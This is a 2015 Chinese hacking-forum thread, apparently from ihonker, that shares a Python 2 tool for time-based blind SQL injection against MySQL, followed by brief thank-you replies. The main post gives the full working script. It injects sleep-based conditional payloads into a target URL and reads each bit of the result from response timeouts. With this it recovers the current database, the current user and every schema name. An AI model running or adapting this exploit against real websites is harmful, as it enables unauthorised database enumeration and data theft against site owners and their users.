查看: 145664|回复: 406

[Python] 基于时间延迟注入的mysql工具

[复制链接]
  • TA的每日心情
    无聊
    2016-8-19 10:32
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2015-9-4 00:55:10 | 显示全部楼层 |阅读模式
    本帖最后由 xiaoye 于 2015-9-30 10:55 编辑

    理论链接:
    http://open.freebuf.com/inland/574.html
    如有不懂,请参考上述链接

    一个基本可用的,当前仅支持mysql,可以读取数据库名,当前用户,以及当前库,其他功能还在实现
    [Python] 纯文本查看 复制代码
    #coding:utf8
    #author:i3esn0w
    
    
    
    import urllib2
    import time
    import threading
    import urllib
    from optparse import OptionParser
    
    
    
    result={}
    database={}
    
    class data_therad(threading.Thread):
        #----------------------------------------------------------------------
        def __init__(self,url,length,sql):
            """"""
            threading.Thread.__init__(self)
            self.length=length
            self.url=url
            self.sql=sql
        
        #----------------------------------------------------------------------
        def run(self):
            """"""
            data=""
            global result
            for bit in range(1,9):
                try:           
                    payload=' and if(mid(lpad(bin(ord(mid(('+self.sql+'),%s,1))),8,0),%s,1)=0,sleep(10),0)'%(str(self.length),str(bit))
                    target=self.url+urllib.quote(payload)
                    req=urllib2.urlopen(target,timeout=3)
                    html=req.read()
                    data+=str(1)
                except Exception,e:
                    data+=str(0)
                    pass
            result[self.length]=chr(int(data,2))
                
            
    class db_name(threading.Thread):
        #----------------------------------------------------------------------
        def __init__(self,url,length,db_num):
            """"""
            threading.Thread.__init__(self)
            self.url=url
            self.lenth=length
            self.db_num=db_num
    #        print self.lenth
        
        #----------------------------------------------------------------------
        def run(self):
            """"""
            data=""
            global database
            for bit in  range(1,9):
                try:
                    payload=' and if(mid(lpad(bin(ord(mid((SELECT SCHEMA_NAME FROM information_schema.schemata limit %s,1),%s,1))),8,0),%s,1)=0,sleep(10),0)'%(self.db_num,self.lenth,bit)
                    target=self.url+urllib.quote(payload)
                    req=urllib2.urlopen(target,timeout=3)
                    html=req.read()
                    data+=str(1)
                except Exception,e:
                    data+=str(0)
                    pass
            database[self.lenth]=chr(int(data,2))
            
            
            
            
    
    
    def getLenth(url,sql):
        i=0 
        #print "[*]正在获取数据长度"
        while True:
            try:
                payload=' and sleep(if(length(('+sql+'))=%s,10,0))'%str(i)
                target=url+urllib.quote(payload)
                req=urllib2.urlopen(target,timeout=3)
                result=req.read()
                i=i+1
            except Exception,e:
                #print "[*]数据长度:"+str(i)
                return i
     
      
    
        
    def get(url,length,method):
        
        global result
        tmp=""
        print "[*]正在获取数据内容"
        threads=[]
        for len1 in range(1,length+1):
    
            sb=data_therad(url,len1,method)
            sb.setDaemon(True)
            threads.append(sb)
        for thread in threads:
            thread.start()
            thread.join()
        for i in range(1,length+1):
            tmp+=result[i]
        print "[*]数据内容为:"+tmp
    
        
            
    def method(url,meth):
        if meth=="current-db":
            sql="select database()"
            length=getLenth(url, sql)
            get(url, length, sql)
        if meth=="current-user":
            sql="select user()"
            length=getLenth(url, sql)
            get(url, length, sql)
        if meth=="dbs":
            print "[*]正在获取数据库个数"
            num=getdbs_num(url)
            print "[*]数据库个数为:%s"%num
            print "[*]正在获取所有数据库名"
            for number in range(1,num+1):
                sql="SELECT SCHEMA_NAME FROM information_schema.schemata limit %s,1"%number
                length=getLenth(url, sql)
                db=getdbname(url,length,number)
                print "[*]"+db
    
    
    def getdbname(url,length,number):
        global database
        tmp=""
        #print "[*]正在获取第%s个数据库"%number
        threads=[]
        for len in range(1,length+1):
            sb=db_name(url, len, number)
            sb.setDaemon(True)
            threads.append(sb)
        for thread in threads:
            thread.start()
            thread.join()
        for i in range(1,length+1):
            tmp+=database[i]
        return tmp
        
        
        
    
        
        
    
    def getdbs_num(url):
        i=0 
        #print "[*]正在获取数据库个数"
        while True:
            try:
                payload=' and sleep(if((SELECT count(*) FROM information_schema.schemata)=%s,10,0))'%str(i)
                target=url+urllib.quote(payload)
                req=urllib2.urlopen(target,timeout=3)
                result=req.read()
                i=i+1
            except Exception,e:
                #print "[*]数据库个数:"+str(i)
                return i    
        
    
            
            
            
            
    if __name__=='__main__':
        parser=OptionParser()
        parser.add_option("-t","--target",dest="target_url",default="",help="The target url")
        parser.add_option("-m","--method",dest="method",default="current-user")
        
        (options,args)=parser.parse_args()
        
        url=options.target_url
        method=options.method
        
        start_time=time.time()
        method(url,method)
        end_time=time.time()
        print "[*]总共耗时:%s s"%int((end_time-start_time))
    
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-9-5 21:02:15 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-2-12 22:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-9-6 02:11:01 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-6 20:43:02 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-6 21:56:02 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-7 05:17:32 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-9-8 08:34:41 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-9-8 23:58:22 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-9 03:01:08 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-9 05:30:24 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-4 16:19 , Processed in 0.022204 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部